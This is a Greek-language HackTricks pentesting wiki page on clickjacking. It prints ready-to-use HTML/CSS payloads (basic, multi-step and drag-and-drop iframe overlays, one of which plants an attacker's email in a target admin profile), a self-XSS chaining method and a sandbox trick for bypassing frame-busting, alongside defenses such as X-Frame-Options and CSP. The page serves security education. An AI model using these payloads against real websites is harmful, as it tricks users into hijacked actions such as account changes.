17 KiB
Clickjacking
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Τι είναι το Clickjacking
Σε μια επίθεση clickjacking, ένας χρήστης εξαπατιέται να κάνει κλικ σε ένα στοιχείο σε μια ιστοσελίδα που είναι είτε αόρατο είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η διαστρέβλωση μπορεί να οδηγήσει σε μη επιθυμητές συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτήριων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή την online αγορά προϊόντων.
Κόλπος προσυμπλήρωσης φορμών
Μερικές φορές είναι δυνατόν να συμπληρωθεί η τιμή των πεδίων μιας φόρμας χρησιμοποιώντας παραμέτρους GET κατά τη φόρτωση μιας σελίδας. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το clickjacking payload ώστε ο χρήστης να πατήσει το κουμπί Υποβολή.
Συμπλήρωση φόρμας με Drag&Drop
Αν χρειάζεστε τον χρήστη να συμπληρώσει μια φόρμα αλλά δεν θέλετε να του ζητήσετε απευθείας να γράψει κάποιες συγκεκριμένες πληροφορίες (όπως το email και/ή συγκεκριμένο κωδικό πρόσβασης που γνωρίζετε), μπορείτε απλά να του ζητήσετε να σύρει και αποθέσει κάτι που θα γράψει τα ελεγχόμενα δεδομένα σας όπως σε αυτό το παράδειγμα.
Βασικό Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Πολυβήματος Φορτίο
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Μεταφορά & Απόθεση + Κλικ payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Εάν έχετε εντοπίσει μια επίθεση XSS που απαιτεί από έναν χρήστη να κάνει κλικ σε κάποιο στοιχείο για να ενεργοποιήσει το XSS και η σελίδα είναι ευάλωτη στο clickjacking, μπορείτε να το εκμεταλλευτείτε για να εξαπατήσετε τον χρήστη να κάνει κλικ στο κουμπί/σύνδεσμο.
Παράδειγμα:
Βρήκατε ένα self XSS σε μερικές ιδιωτικές λεπτομέρειες του λογαριασμού (λεπτομέρειες που μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε). Η σελίδα με τη φόρμα για την ορισμό αυτών των λεπτομερειών είναι ευάλωτη στο Clickjacking και μπορείτε να προ-επιλέξετε τη φόρμα με τις παραμέτρους GET.
__Ένας επιτιθέμενος θα μπορούσε να ετοιμάσει μια επίθεση Clickjacking σε αυτή τη σελίδα προ-επιλέγοντας τη φόρμα με το XSS payload και να εξαπατήσει τον χρήστη να υποβάλει τη φόρμα. Έτσι, όταν η φόρμα υποβάλλεται και οι τιμές τροποποιούνται, ο χρήστης θα εκτελέσει το XSS.
Στρατηγικές για την Αντιμετώπιση του Clickjacking
Άμυνες στην Πλευρά του Πελάτη
Τα σενάρια που εκτελούνται στην πλευρά του πελάτη μπορούν να εκτελέσουν ενέργειες για την πρόληψη του Clickjacking:
- Βεβαιωθείτε ότι το παράθυρο της εφαρμογής είναι το κύριο ή κορυφαίο παράθυρο.
- Κάνοντας όλα τα πλαίσια ορατά.
- Αποτρέποντας τα κλικ σε αόρατα πλαίσια.
- Ανίχνευση και ειδοποίηση των χρηστών για πιθανές προσπάθειες Clickjacking.
Ωστόσο, αυτά τα σενάρια αποτροπής πλαισίων μπορεί να παρακαμφθούν:
- Ρυθμίσεις Ασφαλείας των Περιηγητών: Κάποιοι περιηγητές ενδέχεται να αποκλείσουν αυτά τα σενάρια βάσει των ρυθμίσεών τους σχετικά με την ασφάλεια ή την έλλειψη υποστήριξης JavaScript.
- Χαρακτηριστικό
sandbox
του iframe του HTML5: Ένας επιτιθέμενος μπορεί να ανενεργοποιήσει τα σενάρια αποτροπής πλαισίων ορίζοντας το χαρακτηριστικόsandbox
με τις τιμέςallow-forms
ήallow-scripts
χωρίς την τιμήallow-top-navigation
. Αυτό εμποδίζει το iframe από το να επαληθεύσει αν είναι το κορυφαίο παράθυρο, π.χ.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Άμυνες στην Πλευρά του Διακομιστή
X-Frame-Options
Η κεφαλίδα απάντησης HTTP X-Frame-Options
ενημερώνει τους browsers σχετικά με τη νομιμότητα απεικόνισης μιας σελίδας σε ένα <frame>
ή <iframe>
, βοηθώντας στην πρόληψη του Clickjacking:
X-Frame-Options: deny
- Καμία τομή δεν μπορεί να απεικονίσει το περιεχόμενο.X-Frame-Options: sameorigin
- Μόνο ο τρέχων ιστότοπος μπορεί να απεικονίσει το περιεχόμενο.X-Frame-Options: allow-from https://trusted.com
- Μόνο η συγκεκριμένη 'uri' μπορεί να απεικονίσει τη σελίδα.- Σημειώστε τους περιορισμούς: αν ο browser δεν υποστηρίζει αυτήν την οδηγία, ενδέχεται να μη λειτουργεί. Κάποιοι browsers προτιμούν την οδηγία CSP frame-ancestors.
Οδηγία frame-ancestors της Πολιτικής Ασφάλειας Περιεχομένου (CSP)
Η οδηγία frame-ancestors
στην CSP είναι η συνιστώμενη μέθοδος για την προστασία από το Clickjacking:
frame-ancestors 'none'
- Παρόμοιο με τοX-Frame-Options: deny
.frame-ancestors 'self'
- Παρόμοιο με τοX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Παρόμοιο με τοX-Frame-Options: allow-from
.
Για παράδειγμα, η ακόλουθη CSP επιτρέπει μόνο την τοποθέτηση σε frame από τον ίδιο τομέα:
Content-Security-Policy: frame-ancestors 'self';
Περισσότερες λεπτομέρειες και πολύπλοκα παραδείγματα μπορούν να βρεθούν στην τεκμηρίωση CSP frame-ancestors και στην τεκμηρίωση CSP frame-ancestors της Mozilla.
Πολιτική Ασφάλειας Περιεχομένου (CSP) με child-src
και frame-src
Η Πολιτική Ασφάλειας Περιεχομένου (CSP) είναι μια μέτρηση ασφαλείας που βοηθά στην πρόληψη του Clickjacking και άλλων επιθέσεων εισαγωγής κώδικα, καθορίζοντας ποιες πηγές θα πρέπει να επιτρέπει ο browser να φορτώσει περιεχόμενο.
Οδηγία frame-src
- Ορίζει έγκυρες πηγές για frames.
- Πιο συγκεκριμένη από την οδηγία
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Αυτή η πολιτική επιτρέπει frames από την ίδια προέλευση (self) και https://trusted-website.com.
Οδηγία child-src
- Εισήχθη στο CSP επίπεδο 2 για να ορίσει έγκυρες πηγές για web workers και frames.
- Λειτουργεί ως αντικατάσταση για τις οδηγίες frame-src και worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Αυτή η πολιτική επιτρέπει frames και workers από την ίδια προέλευση (self) και από το https://trusted-website.com.
Σημειώσεις Χρήσης:
- Απόσυρση: Το child-src αποσύρεται υπέρ του frame-src και worker-src.
- Συμπεριφορά Εφεδρικής Λειτουργίας: Εάν το frame-src λείπει, το child-src χρησιμοποιείται ως εφεδρική λύση για τα frames. Εάν και τα δύο λείπουν, χρησιμοποιείται το default-src.
- Αυστηρός Ορισμός Πηγών: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε την εκμετάλλευση.
Σενάρια JavaScript για Αποτροπή Frames
Παρόλο που δεν είναι εντελώς ασφαλή, τα scripts frame-busting βασισμένα σε JavaScript μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να τοποθετηθεί σε frame. Παράδειγμα:
if (top !== self) {
top.location = self.location;
}
Χρήση Αντι-CSRF Διακριτικών
- Επαλήθευση Διακριτικού: Χρησιμοποιήστε αντι-CSRF διακριτικά σε web εφαρμογές για να εξασφαλίσετε ότι οι αιτήσεις που αλλάζουν την κατάσταση γίνονται εσκεμμένα από τον χρήστη και όχι μέσω μιας σελίδας που έχει υποστεί Clickjacking.
Αναφορές
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφή ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα αποθετήρια του HackTricks](https://github.com/carlospolop/hacktricks) και του HackTricks Cloud.